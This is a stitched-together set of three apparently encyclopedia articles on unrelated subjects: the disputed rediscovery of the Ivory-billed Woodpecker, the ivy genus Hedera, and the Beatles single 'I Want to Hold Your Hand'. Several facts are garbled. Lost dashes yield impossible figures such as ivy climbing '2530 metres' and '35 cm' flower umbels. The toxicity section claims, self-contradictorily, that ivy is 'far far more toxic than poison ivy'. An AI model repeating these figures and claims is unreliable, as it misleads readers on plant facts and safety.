          The Ivory-billed Woodpecker was listed as an endangered species on March 11, 1967, though the only evidence of its existence at the time was a possible recording of its call made in East Texas. The last reported sighting of the Cuban subspecies (C. p. bairdii), after a long interval, was in 1987; it has not been seen since. The Cuban Exile journalist and author John O'Donnell-Rosales who was born in the area of Cuba, with the last confirmed sightings, reported sightings near the Alabama Coastal Delta, in 1994 but these were never properly investigated by State wildlife officials.


          Two tantalizing photos were given to LSU museum director George Lowery in 1971 by a source who wished to remain anonymous but who came forward in 2005 as outdoorsman Fielding Lewis.


          The photos, taken with a cheap Instamatic camera, show what appears to be a male Ivory-Billed perched on the trunks of two different trees in the Atchafalaya Basin of Louisiana. The bird's distinctive bill is not visible in either photo and the photos - taken from a distance - are very grainy. Lowery presented the photos at the 1971 annual meeting of the American Ornithologists Union. Skeptics dismissed the photos as frauds, believing that the bird seen is either a misidentifed Pileated, or - seeing that the bird is in roughly the same position in both photos - a mounted specimen.


          There were numerous unconfirmed reports of the bird, but many ornithologists believed the species had been wiped out completely, and it was assessed as "extinct" by the International Union for Conservation of Nature and Natural Resources in 1994. This assessment was later altered to "critically endangered" on the grounds that the species could still be extant.
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          2002 Pearl River expedition


          In 1999, there was an unconfirmed sighting of a pair of birds in the Pearl River region of southeast Louisiana by a forestry student, David Kulivan, which some experts considered very compelling. In a 2002 expedition in the forests, swamps, and bayous of the Pearl River Wildlife Management Area by LSU, biologists spent 30 days searching for the bird.


          In the afternoon of January 27, 2002, after ten days, a rapping sound similar to the "double knock" made by the Ivory-billed Woodpecker was heard and recorded. The exact source of the sound was not found because of the swampy terrain, but signs of active woodpeckers were found (i.e., scaled bark and large tree cavities). The expedition was inconclusive, however, as it was determined that the recorded sounds were likely gunshot echoes rather than the distinctive double rap of the Ivory-billed Woodpecker.


          Since 2002, most of the attention in the search for the Ivory-billed Woodpecker has turned away from the Pearl River region, although several unconfirmed sightings were reported there in February 2006, see video clips.
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          2004/2005 Arkansas reports


          A group of seventeen authors headed by the Cornell Lab of Ornithology reported the discovery of at least one Ivory-billed Woodpecker, a male, in the Big Woods area of Arkansas in 2004 and 2005, publishing the report in the journal Science on April 28, 2005 (Fitzpatrick et al., 2005).


          One of the authors, who was kayaking in the Cache River National Wildlife Refuge, Monroe County, Arkansas, on February 11, 2004, reported on a website the sighting of an unusually large red-crested woodpecker. This report led to more intensive searches in the area and in the White River National Wildlife Refuge, undertaken in secrecy for fear of a stampede of bird-watchers, by experienced observers over the next fourteen months. About fifteen sightings occurred during the period (seven of which were considered compelling enough to mention in the scientific article), possibly all of the same bird. One of these more reliable sightings was on February 27, 2004. Bobby Harrison of Huntsville, Alabama and Tim Gallagher of Ithaca, New York, both reported seeing an ivory-billed woodpecker at the same time. The secrecy of the search permitted The Nature Conservancy and Cornell University to quietly buy up Ivory-billed habitat to add to the 120,000 acres (490 km) of the Big Woods protected by the Conservancy.


          A large woodpecker was videotaped on April 25, 2004; its size, wing pattern at rest and in flight, and white plumage on its back between the wings were cited as evidence that the woodpecker sighted was an Ivory-billed Woodpecker. That same video included an earlier image of what was suggested to be such a bird perching on a Water Tupelo ( Nyssa aquatica).


          The report also notes that drumming consistent with that of Ivory-billed Woodpecker had been heard in the region. It describes the potential for a thinly distributed population in the area, though no birds have been located away from the primary site. A current concern is that many bird enthusiasts will rush to the area in an attempt to catch a glimpse of this rare bird. Ornithologists and veteran birders tell of adult woodpeckers abandoning their nests and young out of alarm at the encroachments of overenthusiastic birdwatchers.


          In the fall of 2006, researchers developed and installed an "autonomous observatory" using robotic video cameras with image processing software that detects and records high resolution video of birds in flight inside a high probability zone in the Cache River area. As of August 2007, hundreds of birds have been recorded, including pileated woodpeckers, but not the ivory billed woodpecker.


          


          Debate


          In June 2005, ornithologists at Yale University, the University of Kansas, and Florida Gulf Coast University submitted a scientific article skeptical of the initial reports of rediscovery.


          
            We were very skeptical of the first published reports, and... data were not sufficient to support this startling conclusion.

          


          In August 2005, despite the arguments for the existence of at least one Ivory-billed Woodpecker, questions about the evidence remained. For example, there were no findings of dead Ivory-bills nor were any nests found. Cornell could not say with absolute certainty that the sounds recorded in Arkansas were made by Ivory-bills.


          Some skeptics, including Richard Prum, believe the video could have been of a Pileated Woodpecker.


          An article by Dina Cappiello in the Houston Chronicle published December 18th, 2005 presented Richard Prum's position as follows:


          
            Prum, intrigued by some of the recordings taken in Arkansas' Big Woods, said the evidence thus far is refutable.

          


          On page 13 of the American Birding Association publication "Winging It" (November/December 2005), it was announced:


          
            The ABA Checklist Committee has not changed the status of the Ivory-billed Woodpecker from Code 6 (EXTINCT) to another level that would reflect a small surviving population. The Committee is waiting for unequivocal proof that the species still exists.

          


          In a commentary published in The Auk in January 2006, Jerome Jackson expressed his skepticism of the Ivory-bill evidence in no uncertain terms:


          
            Prum, Robbins, Brett Benz, and I remain steadfast in our belief that the bird in the Luneau video is a normal Pileated Woodpecker. Others have independently come to the same conclusion, and publication of independent analyses may be forthcoming [...] For scientists to label sight reports and questionable photographs as 'proof' of such an extraordinary record is delving into 'faith-based' ornithology and doing a disservice to science." (Jackson, 2006a),

          


          sparking off a side debate coming close to personal accusation (Fitzpatrick et al., 2006b,c; Jackson, 2006b).


          In March of 2006, a research team headed by David A. Sibley of Concord, MA published findings in the journal Science, saying that the videotape was most likely of a Pileated woodpecker, with mistakes having been made in the interpretation of its posture. They conclude that it lacks certain features of an Ivory-billed Woodpecker, and has others consistent with the Pileated (Sibley at al., 2006) The original Cornell research team stood by their original findings in a response article in the same issue of Science, stating:


          
            Claims that the bird in the Luneau video is a normal pileated woodpecker are based on misrepresentations of a pileated's underwing pattern, interpretation of video artifacts as plumage pattern, and inaccurate models of takeoff and flight behavior. These claims are contradicted by experimental data and fail to explain evidence in the Luneau video of white dorsal plumage, distinctive flight behaviour, and a perched woodpecker with white upper parts." (Fitzpatrick et al., 2006a)

          


          In May of 2006, it was announced that a large search effort led by the Cornell team had been suspended for the season with only a handful of unconfirmed, fleeting sightings to report. Apparently conservation officers plan to allow the public back into areas of the Cache River National Wildlife Refuge that had been restricted upon the initial reported sightings.
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          2005/2006 Florida reports


          In September 2006, new claims that the Ivory-billed Woodpecker may not be extinct were released by a research group consisting of members from Auburn University in Alabama and the University of Windsor in Ontario. Dr. Geoff Hill of Auburn University and Dr. Daniel Mennill of the University of Windsor have revealed a collection of evidence that the birds may still exist in the cypress swamps of the Florida panhandle. Their evidence includes 14 sightings of the birds and 300 recordings of sounds that can be attributed to the Ivory-billed Woodpecker, but also includes tell-tale foraging signs and appropriately sized tree nest cavities (Hill et al., 2006). This evidence remains inconclusive as it excludes the photographic or DNA evidence that many experts cite as necessary before the presence of the species can be confirmed. While Dr. Hill and Dr. Mennill are themselves convinced of the bird's existence in Florida, they are quick to acknowledge that they have not yet conclusively proven the species' existence. The research team is currently undertaking a more complete survey of the Choctawhatchee River, in hopes of obtaining photographic evidence of the bird's existence. In April, 2007 the Florida Ornithological Society Records Committee voted unanimously not to accept the 2005-06 reports of the Ivory-billed Woodpecker on the Choctawhatchee River.


          


          Tourism


          In economically struggling east Arkansas, the speculation of a possible return of the Ivory-bill has served as a great source of economic exploitation, with tourist spending up 30%, primarily in and around the city of Brinkley, Arkansas. A woodpecker "festival", a woodpecker hairstyle (a sort of mohawk with red, white, and black dye), and an "Ivory-bill Burger" have been featured locally. The lack of confirmed proof of the bird's existence, and the extremely small chance of actually seeing the bird even if it does exist (especially since the exact locations of the reported sightings are still guarded), have prevented the explosion in tourism some locals had anticipated.


          Brinkley hosted "The Call of the Ivory-billed Woodpecker Celebration" in February 2006. The celebration included exhibits, birding tours, educational presentations, a vendor market, and more.


          


          Other facts


          The Ivory-billed Woodpecker is sometimes referred to as the Grail Bird, the Lord God Bird, or the Good God Bird, all based on the exclamations of awed onlookers.


          Interviews with residents of Brinkley, Arkansas, heard on National Public Radio following the reported rediscovery were shared with musician Sufjan Stevens, who used the material to write a song titled "The Lord God Bird" ( MP3).


          Arkansas has made license plates featuring a graphic of an Ivory-billed Woodpecker.


          The Ivory-billed Woodpecker was featured in an episode of ABC's Grey's Anatomy on November 1, 2007, entitled "Kung-Fu Fighting". The possibility of seeing the rare bird one day inspired a passionate bird watcher to make it through awake open-heart surgery.
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          Hedera (English name ivy, plural ivies) is a genus of 15 species of climbing or ground-creeping evergreen woody plants in the family Araliaceae, native to the Atlantic Islands, western, central and southern Europe, northwestern Africa and across central-southern Asia east to Japan. On suitable surfaces (trees and rock faces), they are able to climb to at least 2530 metres above the basal ground level.


          They have two leaf types, with palmately lobed juvenile leaves on creeping and climbing stems, and unlobed cordate adult leaves on fertile flowering stems exposed to full sun, usually high in the crowns of trees or the top of rock faces. The juvenile and adult shoots also differ, the former being slender, flexible and scrambling or climbing with small roots to affix the shoot to the substrate (rock or tree bark), the latter thicker, self-supporting, and without roots. The flowers are produced in late autumn, individually small, in 35 cm diameter umbels, greenish-yellow, and very rich in nectar, an important late food source for bees and other insects; the fruit are small black berries ripening in late winter, and are an important food for many birds, though poisonous to humans. The seeds are dispersed by birds eating the fruit. The leaves are eaten by the larvae of some species of Lepidoptera such as Angle Shades, Lesser Broad-bordered Yellow Underwing, Scalloped Hazel, Small Angle Shades, Small Dusty Wave (which feeds exclusively on ivy), Swallow-tailed Moth and Willow Beauty.


          


          Taxonomic note


          The species are largely allopatric and closely related, and all have on occasion been treated as varieties or subspecies of H. helix, the first species described. Several additional species have been described in the southern parts of the former Soviet Union, but are not regarded as distinct by most botanists.


          


          Uses and cultivation
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          Ivies are very popular in cultivation within their native range, both for attracting wildlife, and for their evergreen foliage; many cultivars with variegated foliage and/or unusual leaf shape have been selected. They are particularly valuable for covering unsightly walls.


          Ivies have however proved to be a serious invasive weed in the parts of North America where winters are not severe, and their cultivation there is now discouraged in many areas. Similar problems exist in Australia where the plant was originally cultivated in gardens. For example, in the coastal basins of California drought-tolerant Algerian ivy (H. algeriensis or H. canariensis) has been planted as a ground cover around buildings and highways, but it has become an invasive weed in coastal forests, and riparian areas.


          Much has been argued as to whether ivy climbing trees will harm the tree or not; the consensus in Europe is that they do not harm trees significantly, though they may compete for ground nutrients and water to a small extent, and trees with a heavy growth of ivy can be more liable to windthrow. Problems are greater in North America, where trees may be overwhelmed by the ivy to the extent they are killed; this could be because ivy in North America, being introduced, is without the natural pests and diseases that control its vigour in its native areas. A more serious problem is that ivy creates a vigorous, dense, shade-tolerant evergreen groundcover (precisely the characteristics for which it is often cultivated) that can spread over large areas and outcompete native vegetation.
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          Similar concerns are expressed about damage to walls. It is generally considered that a soundly mortared wall is impenetrable to the climbing roots of ivy and will not be damaged, and is also protected from further weathering by the ivy keeping rain off the mortar. Walls with already weak or loose mortar may however be badly damaged, as the ivy is able to root into the weak mortar and further break up the wall. Subsequent removal of the ivy can be difficult, and is likely to cause more damage than the ivy itself. Modern mortars that contain portland cement and little lime are stronger than older mortar mixes that were largely composed of just sand and lime. Most mortar mixes changed to contain portland cement in the 1930s. Soft mortar is still used when laying softer brick.


          Regional English names for ivy include Bindwood and Lovestone (for the way it clings and grows over stones and brickwork).


          


          Toxicity


          Although far far more toxic than poison ivy, which is unrelated to this genus, ivy contains triterpenoid saponins and falcarinol, a polyyne. Falcarinol is capable of inducing an allergic reaction ( contact dermatitis), although it has been shown to kill breast cancer cells as well.
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          "I Want to Hold Your Hand" is a song by the English pop and rock band The Beatles. Written by John Lennon and Paul McCartney, and recorded in October 1963, it was the first Beatles record to be made using four-track equipment. McCartney and Lennon did not have any particular inspiration for the song. Instead, they had received specific instructions from manager Brian Epstein to write a song with the American market in mind.


          "I Want to Hold Your Hand" was the band's first number-one hit on the Billboard Hot 100 chart, starting the British Invasion of the United States music charts. It also held the top spot in the United Kingdom charts. A million copies of the single had already been ordered on its release. "I Want to Hold Your Hand" became The Beatles' best-selling single worldwide.


          


          Background and composition


          Epstein was worried about The Beatles' lack of commercial success in Americatheir earlier singles had flopped thereand so he encouraged Lennon and McCartney to write a song that would appeal to American listeners. McCartney had recently moved into 57 Wimpole Street, where he was living as a guest of Dr. Richard and Margaret Asher. Their daughter, actress Jane Asher, had become McCartneys steady girlfriend since first meeting earlier in the year. This location briefly became Lennon and McCartneys new writing base, taking over from McCartneys Forthlin Road home in Liverpool. Margaret Asher taught music in a small, rather stuffy music room in the basement and it was here that Lennon and McCartney sat at the piano and composed 'I Want to Hold Your Hand'. In September 1980, Lennon told Playboy magazine:


          
            
              	

              	We wrote a lot of stuff together, one on one, eyeball to eyeball. Like in 'I Want to Hold Your Hand,' I remember when we got the chord that made the song. We were in Jane Asher's house, downstairs in the cellar playing on the piano at the same time. And we had, 'Oh you-u-u/ got that something...' And Paul hits this chord [E minor] and I turn to him and say, 'That's it!' I said, 'Do that again!' In those days, we really used to absolutely write like thatboth playing into each other's noses.

              	
            

          


          In 1994, McCartney agreed with Lennon's description of the circumstances surrounding the composition of "I Want to Hold Your Hand" saying:


          
            
              	

              	'Eyeball to eyeball' is a very good description of it. That's exactly how it was. 'I Want to Hold Your Hand' was very co-written. It was our big number one; the one that would eventually break us in America.

              	
            

          


          


          In the studio


          The Beatles started recording "I Want to Hold Your Hand" at Abbey Road Studios in Studio 2 on 17 October 1963. Notably, this marked the end of the Beatles using two-track recording; from then until 1968, all Beatles releases were recorded on four-track machines. Curiously, the songs intro has an extra half a beat leading into the vocal. As it is unlikely to have been recorded in this way (the Beatles never played it like this live, although they did have to mime to it) it is therefore probably the result of an imperfect edit - the whole intro section from an earlier take spliced onto take 17. A studio montage in The Beatles Anthology includes an audio clip of McCartney instructing Ringo Starr on the dynamics of the drums in the song's intro.


          "I Want to Hold Your Hand" was one of the few Beatles songs (along with "She Loves You") to be recorded in German, entitled, "Komm, gib mir deine Hand". Odeon, the German arm of EMI (the parent company of the Beatles' record label, Parlophone Records) was convinced that the Beatles' records would not sell in Germany unless they were sung in German. The Beatles detested the idea, and when they were due to record the German version on 27 January 1964 at EMI's Pathe Marconi Studios in Paris (where the Beatles were performing 18 days of concerts at the Olympia Theatre) they did not arrive for the session. Their record producer, George Martin, was outraged, and insisted they give it a try. Two days later, the Beatles recorded "Komm, gib mir deine Hand", one of the few times in their career that they recorded outside of London. However, Martin later conceded They were right, actually, it wasnt necessary for them to record in German, but they werent graceless, they did a good job.


          "Komm, gib mir deine Hand" appeared in full stereo on the US Capitol LP 'Something New' and currently on the new Capitol CD compilation called "The Capitol Albums Vol. I".


          


          Launching the invasion


          In the UK, "She Loves You" (released in August) had shot back to the number one position in November following blanket media coverage of the Beatles (described as Beatlemania). Mark Lewisohn later wrote: 'She Loves You' had already sold an industry-boggling three quarters of a million before these fresh converts were pushing it into seven figures. And at this very moment, just four weeks before Christmas, with everyone connected to the music and relevant retail industries already lying prone in paroxysms of unimaginable delight, EMI pulled the trigger and released 'I Want To Hold Your Hand'. And then it was bloody pandemonium".


          On 29 November 1963, Parlophone Records released "I Want to Hold Your Hand" in the United Kingdom, with " This Boy" joining it on the single's B-side. Demand had been building for quite a while, as evidenced by the one million advance orders for the single. When it was finally released, the response was phenomenal. A week after it entered the British charts, on 14 December 1963, it knocked "She Loves You", another Beatles song, off the top spot, the first such instance of the same act taking over from itself at number one in British history, clinging to the top spot for five full weeks. It stayed in the charts for another fifteen weeks afterwards, and incredibly made a one-week return to the charts on 16 May 1964. Beatlemania was peaking at that time; during the same period, the Beatles set a record by occupying the top two positions on both the album and single charts in the United Kingdom.


          EMI and Brian Epstein finally convinced American label Capitol Records, a subsidiary of EMI, that the Beatles could make an impact in the United States, leading to the release of "I Want to Hold Your Hand" with "I Saw Her Standing There" on the B-Side as a single on 26 December 1963. Capitol had previously resisted issuing Beatle recordings in the U.S. This resulted in the relatively modest Vee-Jay and Swan labels releasing the group's earlier Parlophone counterparts in the U.S. Seizing the opportunity, Epstein demanded US$40,000 from Capitol to promote the single (the most the Beatles had ever previously spent on an advertising campaign was US$5,000). The single had actually been intended for release in mid-January of 1964, coinciding with the planned appearance of the Beatles on The Ed Sullivan Show. However, a 15-year old fan of the Beatles, Marsha Albert, was determined to get hold of the single earlier. Later she said:


          
            
              	

              	It wasn't so much what I had seen, it's what I had heard. They had a scene where they played a clip of 'She Loves You' and I thought it was a great song ... I wrote that I thought the Beatles would be really popular here, and if [ deejay Carroll James] could get one of their records, that would really be great.

              	
            

          


          James was the deejay for WWDC, a radio station in Washington, D.C. Eventually he decided to pursue Albert's suggestion to him and asked the station's promotion director to get British Overseas Airways Corporation to ship in a copy of "I Want to Hold Your Hand" from Britain. Albert related what happened next: "Carroll James called me up the day he got the record and said 'If you can get down here by 5 o'clock, we'll let you introduce it.'" Albert managed to get to the station in time, and introduced the record with: "Ladies and gentlemen, for the first time on the air in the United States, here are the Beatles singing 'I Want to Hold Your Hand.'"


          The song proved to be a huge hit, a surprise for the station, as they catered mainly to a more staid audience, which would normally be expecting songs from singers such as Andy Williams or Bobby Vinton instead of rock and roll. James took to playing the song repeatedly on the station, often turning down the song in the middle to make the declaration, "This is a Carroll James exclusive", to avoid theft of the song by other stations.


          Capitol threatened to seek a court order banning airplay of "I Want to Hold Your Hand", which was already being spread by James to a couple of deejays in Chicago and St. Louis. James and WWDC ignored the threat, and Capitol came to the conclusion that they could well take advantage of the publicity, releasing the single two weeks ahead of schedule on 26 December.


          The demand was insatiable; in the first three days alone, a quarter million copies had already been sold. In New York City, 10,000 copies flew off the shelves every hour. Capitol was so overloaded by the demand, it contracted part of the job of pressing copies off to Columbia Records and RCA. By January 18, the song had started its fifteen-week chart run, and on 1 February, the Beatles finally achieved their first number-one in America, emulating the success of another British group, the Tornados with " Telstar", which was number one on the Billboard charts for three weeks over Christmas and New Year 1962/63. The Beatles finally relinquished the number one spot after seven weeks, passing the baton to the very song they had knocked off the top in Britain: "She Loves You". Hunter Davies's biography of the band states that "I Want to Hold Your Hand" received certification for sales of 5 million copies in the US alone. The replacement of themselves at the summit of the U.S. charts was the first time since Elvis Presley in 1956, with "Love Me Tender" beating out "Don't Be Cruel", that an act had dropped off the top of the American charts only to be replaced by another of their releases.


          With that, the "British Invasion" of America had been launched, and the music scene there would never be the same. Throughout the whole of 1964, only British artists were flying high at the top of the American charts; besides the Beatles, other dominant British acts of that period included the Dave Clark Five, the Rolling Stones, the Kinks, the Hollies and Herman's Hermits.


          The American single's front and back sleeves featured a photograph of the Beatles with Paul holding a cigarette. In 1984, Capitol Records airbrushed out the cigarette for the re-release of the single.


          "I Want to Hold Your Hand" was also released in America on Meet the Beatles!, which groundbreakingly altered the American charts by actually outselling the single. Beforehand, the American markets were more in favour of hit singles instead of whole albums; however, two months after the album's release, it had shipped more than three-and-a-half million copies, a little over a hundred thousand ahead of the "I Want to Hold Your Hand" single.


          


          Aftermath


          The song was greeted by raving fans on both sides of the Atlantic but was dismissed by some critics as nothing more than another fad song that would not hold up to the test of time. Cynthia Lowery of the Associated Press expressed her exasperation with Beatlemania by saying of the Beatles: "Heaven knows we've heard them enough. It has been impossible to get a radio weather bulletin or time signal without running into 'I Want to Hold Your Hand'." Another critic declared that the Beatles were "really pretty boring to listen to. Their act is absolutely nothing," and that "[t]heir greatest asset is that they look like rather likable, almost innocent young fellows who have merely hit a lucky thing."


          Bob Dylan was impressed by the Beatles' innovation, saying, "They were doing things nobody was doing. Their chords were outrageous, just outrageous, and their harmonies made it all valid." For a time Dylan thought the Beatles were singing "I get high" instead of "I can't hide". He was surprised when he met them and found out that none of them had actually smoked marijuana.


          Although the song was nominated for the Grammy Award for Record of the Year, the award went to Astrud Gilberto and Stan Getz for " The Girl from Ipanema". However, in 1998, the song won the Grammy Hall of Fame Award. It has also made the list in The Rock and Roll Hall of Fame's 500 Songs that Shaped Rock and Roll. In addition, the Recording Industry Association of America, the National Endowment for the Arts and Scholastic Press have named "I Want to Hold Your Hand" as one of the Songs of the Century. In 2004, it was ranked number 16 on Rolling Stone magazine's list of the 500 greatest songs of all time. It was ranked as #2 in Mojo's list on the "100 Records That Changed the World", after Little Richard's Tutti Frutti.


          "I Want to Hold Your Hand" was not subject to numerous cover versions like other Beatles songs such as "Yesterday" or " Something", although Arthur Fiedler & the Boston Pops Orchestra did attempt an instrumental version in 1964, which actually rose as high as number 55 in the American charts. Another cover was by the Moving Sidewalks, who made a psychedelic version in the late 1960s. French parodic band Odeurs covered the song as a military march sung with a strong German accent. The pre-"Dirty Water" Standells performed the song in a guest appearance as themselves in the sitcom The Munsters, along with another song called "Do the Ringo." Lunarock, a Canadian band based in Sailor Moon fame, did a cover of the song as well. Most notably, bop-guitarist Grant Green included a stunning jazz recording of "I Want to Hold Your Hand" as the title track of a 1965 album. Interestingly, the other tunes were jazz standards, perhaps validating Green's prescient appreciation of the Beatles' burgeoning musicality. The American band Sparks also delivered an unusual Philadelphia Sound-style cover of the song in the mid-1970s. It was also covered by R&B band Lakeside. The Beatles/Metallica fusion group Beatallica performed an homage to the song, titled "I Want to Choke Your Band", on their 2004 eponymous second album.The song was also covered by Jennifer Cihi (Serena) - Sandy Howell (Raye) from Sailor_Moon_soundtracks_(USA) (contemporary dance).


          Neil Innes' the Rutles also memorably pastiched the song with laser-like accuracy as "Hold My Hand" in 1978, while British pop duo Dollar had a UK Top 10 hit with their version in January 1980 (coincidentally charting simultaneously with The Tourists' cover of " I Only Want To Be With You", which had originally been a hit for Dusty Springfield concurrently with the Beatles' version of "I Want To Hold Your Hand"). On Devo's debut album, Q: Are We Not Men? A: We Are Devo!, the song Uncontrollable Urge opens with a distorted version of I Want to Hold Your Hand's opening riff. In the 2007 film Across the Universe, T.V. Carpio sings a slowed-down cover version of the song in character as a young lesbian pining over a seemingly unattainable classmate.


          For the 2006 album Love, coinciding with the Cirque Du Soleil production of the same title, George Martin and his son, Giles, melded the original studio recording (truncated) with a live performance at the Hollywood Bowl, complete with screaming hordes of teenage girls and the famous introduction from The Ed Sullivan Show, "Here they are ... The Beatles!!"


          The Beatles' recording of this song also appeared as the opening track in the 1997 Time-Life 6-CD boxed set, "Gold And Platinum: The Ultimate Rock Collection", marking one of the very rare times that a Beatles recording was featured in an American-released various artists compilation collection. This set also featured one song each from the solo members of the Beatles: "It Don't Come Easy" (Ringo Starr), "Band On The Run" (Paul McCartney), "(Just Like) Starting Over" (John Lennon) and "All Those Years Ago" (George Harrison).


          


          Melody and lyrics


          Reminiscent of Tin Pan Alley and Brill Building techniques and an example of modified thirty-two-bar form, the song is written on a two-bridge model, with only an intervening verse to connect them. The original song has no real "lead" singer or even a clearly defined melody, as Lennon and McCartney sing in harmony with each other. It could be argued that Lennon is leading McCartney, as Lennon's vocals are more prominent on the recording; however, when the Beatles performed the song on The Ed Sullivan Show on February 9, 1964, McCartney's vocals could be heard more clearly (although this may have been due to a poor audio mix).


          


          Credits


          
            	John Lennon  vocal, rhythm guitar, handclaps


            	Paul McCartney  vocal, bass, handclaps


            	George Harrison  lead guitar, handclaps


            	Ringo Starr  drums, handclaps

          


          Credits: Ian MacDonald


          
            Retrieved from " http://en.wikipedia.org/wiki/I_Want_to_Hold_Your_Hand"
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